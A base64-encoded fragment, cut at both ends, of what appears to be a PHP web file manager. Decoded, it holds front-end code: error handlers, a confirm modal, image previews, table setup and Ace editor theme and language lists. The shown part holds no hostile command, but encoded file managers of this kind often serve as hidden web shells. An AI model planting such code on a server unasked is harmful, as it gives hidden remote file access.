AgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKHhocikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz0ibS0yIj5FUlJPUjogVHJ5IGFnYWluIGxhdGVyITwvcD4nKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgZmFpbHVyZTogZnVuY3Rpb24obWVzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJzxwIGNsYXNzPSJtLTIiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPC9wPicpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIGFjdGlvbiBjb25maXJtIGRhaWxvZyBtb2RhbAogICAgICAgICAgICBmdW5jdGlvbiBjb25maXJtRGFpbG9nKGUsIGlkID0gMCwgdGl0bGUgPSAiQWN0aW9uIiwgY29udGVudCA9ICIiLCBhY3Rpb24gPSBudWxsKSB7CiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBjb25zdCB0cGxPYmogPSB7CiAgICAgICAgICAgICAgICAgICAgaWQsCiAgICAgICAgICAgICAgICAgICAgdGl0bGUsCiAgICAgICAgICAgICAgICAgICAgY29udGVudDogZGVjb2RlVVJJQ29tcG9uZW50KGNvbnRlbnQucmVwbGFjZSgvXCsvZywgJyAnKSksCiAgICAgICAgICAgICAgICAgICAgYWN0aW9uCiAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgbGV0IHRwbCA9ICQoIiNqcy10cGwtY29uZmlybSIpLmh0bWwoKTsKICAgICAgICAgICAgICAgICQoIi5tb2RhbC5jb25maXJtRGFpbG9nIikucmVtb3ZlKCk7CiAgICAgICAgICAgICAgICAkKCcjd3JhcHBlcicpLmFwcGVuZCh0ZW1wbGF0ZSh0cGwsIHRwbE9iaikpOwogICAgICAgICAgICAgICAgY29uc3QgJGNvbmZpcm1EYWlsb2cgPSAkKCIjY29uZmlybURhaWxvZy0iICsgdHBsT2JqLmlkKTsKICAgICAgICAgICAgICAgICRjb25maXJtRGFpbG9nLm1vZGFsKCdzaG93Jyk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIG9uIG1vdXNlIGhvdmVyIGltYWdlIHByZXZpZXcKICAgICAgICAgICAgISBmdW5jdGlvbihzKSB7CiAgICAgICAgICAgICAgICBzLnByZXZpZXdJbWFnZSA9IGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLAogICAgICAgICAgICAgICAgICAgICAgICB0ID0gIi5wcmV2aWV3SW1hZ2UiLAogICAgICAgICAgICAgICAgICAgICAgICBhID0gcy5leHRlbmQoewogICAgICAgICAgICAgICAgICAgICAgICAgICAgeE9mZnNldDogMjAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWRlSW46ICJmYXN0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzczogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhZGRpbmc6ICI1cHgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlcjogIjFweCBzb2xpZCAjY2NjY2NjIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYmFja2dyb3VuZC1jb2xvciI6ICIjZmZmIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV2ZW50U2VsZWN0b3I6ICJbZGF0YS1wcmV2aWV3LWltYWdlXSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhS2V5OiAicHJldmlld0ltYWdlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG92ZXJsYXlJZDogInByZXZpZXctaW1hZ2UtcGx1Z2luLW92ZXJsYXkiCiAgICAgICAgICAgICAgICAgICAgICAgIH0sIGUpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBvLm9mZih0KSwgby5vbigibW91c2VvdmVyIiArIHQsIGEuZXZlbnRTZWxlY3RvciwgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgICAgICBzKCJwIyIgKyBhLm92ZXJsYXlJZCkucmVtb3ZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBvID0gcygiPHA+IikuYXR0cigiaWQiLCBhLm92ZXJsYXlJZCkuY3NzKCJwb3NpdGlvbiIsICJhYnNvbHV0ZSIpLmNzcygiZGlzcGxheSIsICJub25lIikuYXBwZW5kKHMoJzxpbWcgY2xhc3M9ImMtcHJldmlldy1pbWciPicpLmF0dHIoInNyYyIsIHModGhpcykuZGF0YShhLmRhdGFLZXkpKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGEuY3NzICYmIG8uY3NzKGEuY3NzKSwgcygiYm9keSIpLmFwcGVuZChvKSwgby5jc3MoInRvcCIsIGUucGFnZVkgKyBhLnlPZmZzZXQgKyAicHgiKS5jc3MoImxlZnQiLCBlLnBhZ2VYICsgYS54T2Zmc2V0ICsgInB4IikuZmFkZUluKGEuZmFkZUluKQogICAgICAgICAgICAgICAgICAgIH0pLCBvLm9uKCJtb3VzZW91dCIgKyB0LCBhLmV2ZW50U2VsZWN0b3IsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICBzKCIjIiArIGEub3ZlcmxheUlkKS5yZW1vdmUoKQogICAgICAgICAgICAgICAgICAgIH0pLCBvLm9uKCJtb3VzZW1vdmUiICsgdCwgYS5ldmVudFNlbGVjdG9yLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHMoIiMiICsgYS5vdmVybGF5SWQpLmNzcygidG9wIiwgZS5wYWdlWSArIGEueU9mZnNldCArICJweCIpLmNzcygibGVmdCIsIGUucGFnZVggKyBhLnhPZmZzZXQgKyAicHgiKQogICAgICAgICAgICAgICAgICAgIH0pLCB0aGlzCiAgICAgICAgICAgICAgICB9LCBzLnByZXZpZXdJbWFnZSgpCiAgICAgICAgICAgIH0oalF1ZXJ5KTsKCiAgICAgICAgICAgIC8vIERvbSBSZWFkeSBFdmVudHMKICAgICAgICAgICAgJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAvLyBkYXRhVGFibGUgaW5pdAogICAgICAgICAgICAgICAgdmFyICR0YWJsZSA9ICQoJyNtYWluLXRhYmxlJyksCiAgICAgICAgICAgICAgICAgICAgdGFibGVMbmcgPSAkdGFibGUuZmluZCgndGgnKS5sZW5ndGgsCiAgICAgICAgICAgICAgICAgICAgX3RhcmdldHMgPSAodGFibGVMbmcgJiYgdGFibGVMbmcgPT0gNykgPyBbMCwgNCwgNSwgNl0gOiB0YWJsZUxuZyA9PSA1ID8gWzAsIDRdIDogWzNdOwogICAgICAgICAgICAgICAgbWFpblRhYmxlID0gJCgnI21haW4tdGFibGUnKS5EYXRhVGFibGUoewogICAgICAgICAgICAgICAgICAgIHBhZ2luZzogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgaW5mbzogZmFsc2UsCiAgICAgICAgICAgICAgICAgICAgb3JkZXI6IFtdLAogICAgICAgICAgICAgICAgICAgIGNvbHVtbkRlZnM6IFt7CiAgICAgICAgICAgICAgICAgICAgICAgIHRhcmdldHM6IF90YXJnZXRzLAogICAgICAgICAgICAgICAgICAgICAgICBvcmRlcmFibGU6IGZhbHNlCiAgICAgICAgICAgICAgICAgICAgfV0KICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgICAgIC8vIGZpbHRlciB0YWJsZQogICAgICAgICAgICAgICAgJCgnI3NlYXJjaC1hZGRvbicpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIG1haW5UYWJsZS5zZWFyY2godGhpcy52YWx1ZSkuZHJhdygpOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAgICAgJCgiaW5wdXQjYWR2YW5jZWQtc2VhcmNoIikub24oJ2tleXVwJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChlLmtleUNvZGUgPT09IDEzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24zJykub24oJ2NsaWNrJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgZm1fc2VhcmNoKCk7CiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAvL3VwbG9hZCBuYXYgdGFicwogICAgICAgICAgICAgICAgJCgiLmZtLXVwbG9hZC13cmFwcGVyIC5jYXJkLWhlYWRlci10YWJzIikub24oImNsaWNrIiwgJ2EnLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgIGxldCB0YXJnZXQgPSAkKHRoaXMpLmRhdGEoJ3RhcmdldCcpOwogICAgICAgICAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyBhIikucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOwogICAgICAgICAgICAgICAgICAgICQodGhpcykuYWRkQ2xhc3MoJ2FjdGl2ZScpOwogICAgICAgICAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC10YWJzLWNvbnRhaW5lciIpLmFkZENsYXNzKCdoaWRkZW4nKTsKICAgICAgICAgICAgICAgICAgICAkKHRhcmdldCkucmVtb3ZlQ2xhc3MoJ2hpZGRlbicpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0pOwogICAgICAgIDwvc2NyaXB0PgoKICAgICAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkgJiYgaXNzZXQoJF9HRVRbJ2VudiddKSAmJiBGTV9FRElUX0ZJTEUgJiYgIUZNX1JFQURPTkxZKToKICAgICAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCRfR0VUWyJlZGl0Il0sIFBBVEhJTkZPX0VYVEVOU0lPTik7CiAgICAgICAgICAgICRleHQgPSAgJGV4dCA9PSAianMiID8gImphdmFzY3JpcHQiIDogICRleHQ7CiAgICAgICAgPz4KICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWFjZScpOyA/PgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgdmFyIGVkaXRvciA9IGFjZS5lZGl0KCJlZGl0b3IiKTsKICAgICAgICAgICAgICAgIGVkaXRvci5nZXRTZXNzaW9uKCkuc2V0TW9kZSh7CiAgICAgICAgICAgICAgICAgICAgcGF0aDogImFjZS9tb2RlLzw/cGhwIGVjaG8gJGV4dDsgPz4iLAogICAgICAgICAgICAgICAgICAgIGlubGluZTogdHJ1ZQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAvL2VkaXRvci5zZXRUaGVtZSgiYWNlL3RoZW1lL3R3aWxpZ2h0Iik7IC8vIERhcmsgVGhlbWUKICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpOyAvLyBIaWRlIHRoZSB2ZXJ0aWNhbCBydWxlcgogICAgICAgICAgICAgICAgZnVuY3Rpb24gYWNlX2NvbW1lbmQoY21kKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmV4ZWMoY21kLCBlZGl0b3IpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmFkZENvbW1hbmRzKFt7CiAgICAgICAgICAgICAgICAgICAgbmFtZTogJ3NhdmUnLAogICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHsKICAgICAgICAgICAgICAgICAgICAgICAgd2luOiAnQ3RybC1TJywKICAgICAgICAgICAgICAgICAgICAgICAgbWFjOiAnQ29tbWFuZC1TJwogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgZXhlYzogZnVuY3Rpb24oZWRpdG9yKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRfc2F2ZSh0aGlzLCAnYWNlJyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfV0pOwoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgJG1vZGVFbCA9ICQoInNlbGVjdCNqcy1hY2UtbW9kZSIpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbCA9ICQoInNlbGVjdCNqcy1hY2UtdGhlbWUiKSwKICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwgPSAkKCJzZWxlY3QjanMtYWNlLWZvbnRTaXplIiksCiAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbk5vZGUgPSBmdW5jdGlvbih0eXBlLCBhcnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkT3B0aW9uID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkLmVhY2goYXJyLCBmdW5jdGlvbihpLCB2YWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9ICI8b3B0aW9uIHZhbHVlPSciICsgdHlwZSArIGkgKyAiJz4iICsgdmFsICsgIjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uOwogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBfZGF0YSA9IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhY2VUaGVtZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJpZ2h0IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY2hyb21lIjogIkNocm9tZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjbG91ZHMiOiAiQ2xvdWRzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyaW1zb25fZWRpdG9yIjogIkNyaW1zb24gRWRpdG9yIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhd24iOiAiRGF3biIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkcmVhbXdlYXZlciI6ICJEcmVhbXdlYXZlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlY2xpcHNlIjogIkVjbGlwc2UiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2l0aHViIjogIkdpdEh1YiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpcGxhc3RpYyI6ICJJUGxhc3RpYyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzb2xhcml6ZWRfbGlnaHQiOiAiU29sYXJpemVkIExpZ2h0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHRtYXRlIjogIlRleHRNYXRlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRvbW9ycm93IjogIlRvbW9ycm93IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInhjb2RlIjogIlhDb2RlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImt1cm9pciI6ICJLdXJvaXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia2F0emVubWlsY2giOiAiS2F0emVuTWlsY2giLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3Fsc2VydmVyIjogIlNRTCBTZXJ2ZXIiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGFyayI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFtYmlhbmNlIjogIkFtYmlhbmNlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNoYW9zIjogIkNoYW9zIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNsb3Vkc19taWRuaWdodCI6ICJDbG91ZHMgTWlkbmlnaHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHJhY3VsYSI6ICJEcmFjdWxhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvYmFsdCI6ICJDb2JhbHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3J1dmJveCI6ICJHcnV2Ym94IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdvYiI6ICJHcmVlbiBvbiBCbGFjayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpZGxlX2ZpbmdlcnMiOiAiaWRsZSBGaW5nZXJzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImtyX3RoZW1lIjogImtyVGhlbWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWVyYml2b3JlIjogIk1lcmJpdm9yZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtZXJiaXZvcmVfc29mdCI6ICJNZXJiaXZvcmUgU29mdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtb25vX2luZHVzdHJpYWwiOiAiTW9ubyBJbmR1c3RyaWFsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1vbm9rYWkiOiAiTW9ub2thaSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwYXN0ZWxfb25fZGFyayI6ICJQYXN0ZWwgb24gZGFyayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzb2xhcml6ZWRfZGFyayI6ICJTb2xhcml6ZWQgRGFyayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXJtaW5hbCI6ICJUZXJtaW5hbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodCI6ICJUb21vcnJvdyBOaWdodCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodF9ibHVlIjogIlRvbW9ycm93IE5pZ2h0IEJsdWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidG9tb3Jyb3dfbmlnaHRfYnJpZ2h0IjogIlRvbW9ycm93IE5pZ2h0IEJyaWdodCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodF9laWdodGllcyI6ICJUb21vcnJvdyBOaWdodCA4MHMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidHdpbGlnaHQiOiAiVHdpbGlnaHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmlicmFudF9pbmsiOiAiVmlicmFudCBJbmsiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhY2VNb2RlIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqYXZhc2NyaXB0IjogIkphdmFTY3JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhYmFwIjogIkFCQVAiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhYmMiOiAiQUJDIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWN0aW9uc2NyaXB0IjogIkFjdGlvblNjcmlwdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFkYSI6ICJBREEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhcGFjaGVfY29uZiI6ICJBcGFjaGUgQ29uZiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFzY2lpZG9jIjogIkFzY2lpRG9jIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYXNsIjogIkFTTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFzc2VtYmx5X3g4NiI6ICJBc3NlbWJseSB4ODYiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdXRvaG90a2V5IjogIkF1dG9Ib3RLZXkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhcGV4IjogIkFwZXgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJiYXRjaGZpbGUiOiAiQmF0Y2hGaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJvIjogIkJybyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNfY3BwIjogIkMgYW5kIEMrKyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImM5c2VhcmNoIjogIkM5U2VhcmNoIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY2lycnUiOiAiQ2lycnUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjbG9qdXJlIjogIkNsb2p1cmUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb2JvbCI6ICJDb2JvbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvZmZlZSI6ICJDb2ZmZWVTY3JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb2xkZnVzaW9uIjogIkNvbGRGdXNpb24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc2hhcnAiOiAiQyMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc291bmRfZG9jdW1lbnQiOiAiQ3NvdW5kIERvY3VtZW50IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3NvdW5kX29yY2hlc3RyYSI6ICJDc291bmQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc291bmRfc2NvcmUiOiAiQ3NvdW5kIFNjb3JlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3NzIjogIkNTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImN1cmx5IjogIkN1cmx5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZCI6ICJEIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGFydCI6ICJEYXJ0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGlmZiI6ICJEaWZmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZG9ja2VyZmlsZSI6ICJEb2NrZXJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZG90IjogIkRvdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRyb29scyI6ICJEcm9vbHMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlZGlmYWN0IjogIkVkaWZhY3QiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlaWZmZWwiOiAiRWlmZmVsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZWpzIjogIkVKUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImVsaXhpciI6ICJFbGl4aXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlbG0iOiAiRWxtIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXJsYW5nIjogIkVybGFuZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZvcnRoIjogIkZvcnRoIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZm9ydHJhbiI6ICJGb3J0cmFuIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZnNoYXJwIjogIkZTaGFycCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZzbCI6ICJGU0wiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmdGwiOiAiRnJlZU1hcmtlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdjb2RlIjogIkdjb2RlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2hlcmtpbiI6ICJHaGVya2luIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2l0aWdub3JlIjogIkdpdGlnbm9yZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdsc2wiOiAiR2xzbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdvYnN0b25lcyI6ICJHb2JzdG9uZXMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJnb2xhbmciOiAiR28iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJncmFwaHFsc2NoZW1hIjogIkdyYXBoUUxTY2hlbWEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJncm9vdnkiOiAiR3Jvb3Z5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFtbCI6ICJIQU1MIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFuZGxlYmFycyI6ICJIYW5kbGViYXJzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFza2VsbCI6ICJIYXNrZWxsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFza2VsbF9jYWJhbCI6ICJIYXNrZWxsIENhYmFsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGF4ZSI6ICJoYVhlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGpzb24iOiAiSGpzb24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJodG1sIjogIkhUTUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJodG1sX2VsaXhpciI6ICJIVE1MIChFbGl4aXIpIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaHRtbF9ydWJ5IjogIkhUTUwgKFJ1YnkpIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaW5pIjogIklOSSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlvIjogIklvIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamFjayI6ICJKYWNrIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamFkZSI6ICJKYWRlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamF2YSI6ICJKYXZhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianNvbiI6ICJKU09OIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianNvbmlxIjogIkpTT05pcSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImpzcCI6ICJKU1AiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqc3NtIjogIkpTU00iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqc3giOiAiSlNYIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianVsaWEiOiAiSnVsaWEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrb3RsaW4iOiAiS290bGluIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGF0ZXgiOiAiTGFUZVgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsZXNzIjogIkxFU1MiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsaXF1aWQiOiAiTGlxdWlkIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGlzcCI6ICJMaXNwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGl2ZXNjcmlwdCI6ICJMaXZlU2NyaXB0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibG9naXFsIjogIkxvZ2lRTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxzbCI6ICJMU0wiLAogICA